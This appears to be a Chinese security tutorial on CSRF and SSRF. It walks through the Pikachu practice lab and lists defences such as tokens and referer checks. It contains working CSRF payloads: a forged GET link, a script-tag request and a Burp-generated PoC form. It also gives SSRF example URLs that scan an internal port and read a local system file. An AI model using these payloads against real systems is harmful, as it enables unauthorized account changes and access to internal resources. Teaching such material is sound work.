CSRF漏洞概念解析
一、CSRF漏洞
#CSRF 漏洞解释,原理等#CSRF 漏洞检测,案例,防御等#防御方案1、当用户发送重要的请求时需要输入原始密码2、设置随机 Token3、检验referer来源,请求时判断请求链接是否为当前管理员正在使用的页面(管理员在编辑文章黑客发来恶意的修改密码链接因为修改密码页面管理员并没有在操作所以攻击失败)4、设置验证码5、限制请求方式只能为 POST
pikachu上csrf验证
抓包
看到的是get提交的数据包
/vul/csrf/csrfget/csrf_get_edit.php?sex=gg&phonenum=1111&add=11111&email=111111&submit=submit
也就是说可以这样直接伪造提交的数据包从而就该服务器内容。
发送数据包
http://10.1.1.7/vul/csrf/csrfget/csrf_get_edit.php?sex=22&phonenum=2222222&add=222222&email=22222222&submit=submit
伪造服务器点击
<script src="http://10.1.1.7/vul/csrf/csrfget/csrf_get_edit.php?sex=33&phonenum=3333333&add=333333&email=33333333&submit=submit"></script>
burpsuit 生成Poc
复制poc代码修改表单中的内容。然后放在服务器当中访问如修改为以下代码
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('', '', '/')</script><form action="http://10.1.1.7/vul/csrf/csrfget/csrf_get_edit.php"><input type="hidden" name="sex" value="@" /><input type="hidden" name="phonenum" value="@@@@1" /><input type="hidden" name="add" value="@@@@@@1" /><input type="hidden" name="email" value="@@@@@1" /><input type="hidden" name="submit" value="submit" /><input type="submit" value="Submit request" /></form></body></html>
csrf防护
1、当用户发送重要的请求时需要输入原始密码2、设置随机 Token3、检验 referer 来源,请求时判断请求链接是否为当前管理员正在使用的页面(管理员在编辑文章,黑客发来恶意的修改密码链接,因为修改密码页面管理员并没有在操作,所以攻击失败)4、设置验证码5、限制请求方式只能为 POST
token防护
GET /vul/csrf/csrftoken/token_get_edit.php?sex=gg&phonenum=1111&add=11111&email=11111&token=45096611500a646562638549385&submit=submit HTTP/1.1Host: 10.1.1.7Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://10.1.1.7/vul/csrf/csrftoken/token_get_edit.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=p9f3jfbnbc7cucobc9djsukon3Connection: close
从上面可以看到的是token随机字符串用来验证数据包的唯一性,由于数据包的唯一性也就导致csrf漏洞几乎不能被利用
referer
GET /vul/csrf/csrfget/csrf_get_edit.php?sex=%40&phonenum=%40%40%40%401&add=%40%40%40%40%40%401&email=%40%40%40%40%401&submit=submit HTTP/1.1Host: 10.1.1.7Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://10.1.1.6/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=p9f3jfbnbc7cucobc9djsukon3Connection: close
GET /vul/csrf/csrftoken/token_get_edit.php?sex=gg&phonenum=18428312222&add=1111111111111&email=857920461%40qq.com&token=15916611501d79dd97514223645&submit=submit HTTP/1.1Host: 10.1.1.7Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://10.1.1.7/vul/csrf/csrftoken/token_get_edit.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=p9f3jfbnbc7cucobc9djsukon3Connection: close
可以看到的是上面两个数据包referer来源是不一样的也就是说可以通过这样的方式来防止csrf漏洞,但是这种方式是不安全的因为可以通过抓包的方式修改referer值。
二、SSRF
原理:https://www.cnblogs.com/happystudyhuan/p/11802961.html
SSRF漏洞介绍: SSRF漏洞(服务器端请求伪造):是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的所以它能够请求到与它相连而与外网隔离的内部系统)
SSRF漏洞原理:
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请求伪造。SSRF是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。
SSRF漏洞利用手段:
1.可以对外网、内网、本地进行端口扫描某些情况下端口的Banner会回显出来(比如3306的);2.攻击运行在内网或本地的有漏洞程序(比如溢出);3.可以对内网Web应用进行指纹识别,原理是通过请求默认的文件得到特定的指纹;4.攻击内网或外网有漏洞的Web应用;5.使用file:///协议读取本地文件(或其他协议)http://www.xingkonglangzi.com/ssrf.php?url=192.168.1.10:3306http://www.xingkonglangzi.com/ssrf.php?url=file:///c:/windows/win.ini
SSRF漏洞出现点:
1.分享:通过URL地址分享网页内容2.转码服务(通过URL地址把原地址的网页内容调优,使其适合手机屏幕的浏览)3.在线翻译4.图片加载与下载:通过URL地址加载或下载图片5.图片、文章收藏功能6.未公开的api实现及调用URL的功能7.从URL关键字中寻找
pikachu ssrf漏洞验证
第一步正常打开ssrf页面
可以看到的是链接已经发生了变化
http://10.1.1.7/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/vul/ssrf/ssrf_info/info1.php
